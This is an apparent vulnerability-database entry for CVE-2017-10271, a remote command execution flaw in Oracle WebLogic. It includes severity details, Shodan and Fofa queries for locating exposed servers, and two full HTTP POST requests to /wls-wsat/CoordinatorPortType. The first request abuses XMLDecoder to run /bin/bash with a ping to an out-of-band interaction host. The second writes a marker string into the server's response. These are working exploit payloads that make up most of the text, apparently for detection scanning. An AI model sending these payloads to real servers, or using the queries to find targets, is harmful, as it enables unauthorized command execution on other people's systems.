| Title | Oracle WebLogic Server - Remote Command Execution |
|---|---|
| Author | dr_set,ImNightmaree,true13 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server. |
| Remediation | Apply the latest security patches provided by Oracle to fix this vulnerability. Additionally, restrict network access to the WebLogic server and implement strong authentication mechanisms. |
| CVSS Score | 7.5 |
| EPSS Score | 0.9441 |
| CVE ID | CVE-2017-10271 |
| Shodan Query | http.title:"oracle peoplesoft sign-in"product:"oracle weblogic" |
| Fofa Query | title="oracle peoplesoft sign-in" |
| Tags | cve cve2017 weblogic oast kev vulhub rce oracle vkev vuln |
The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Content-Length: 1049
Accept: */*
Accept-Language: en
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext
xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping -c 1 d5jq6i1le0o47g6k6170jwntr9w8g4u8h.oast.site</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5
Connection: close
Content-Length: 947
Accept: */*
Accept-Language: en
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string>38FeLGG3qgv8XVtMRkaNNKCCSZb</string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-10271.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-10271.pcap
N/AN/A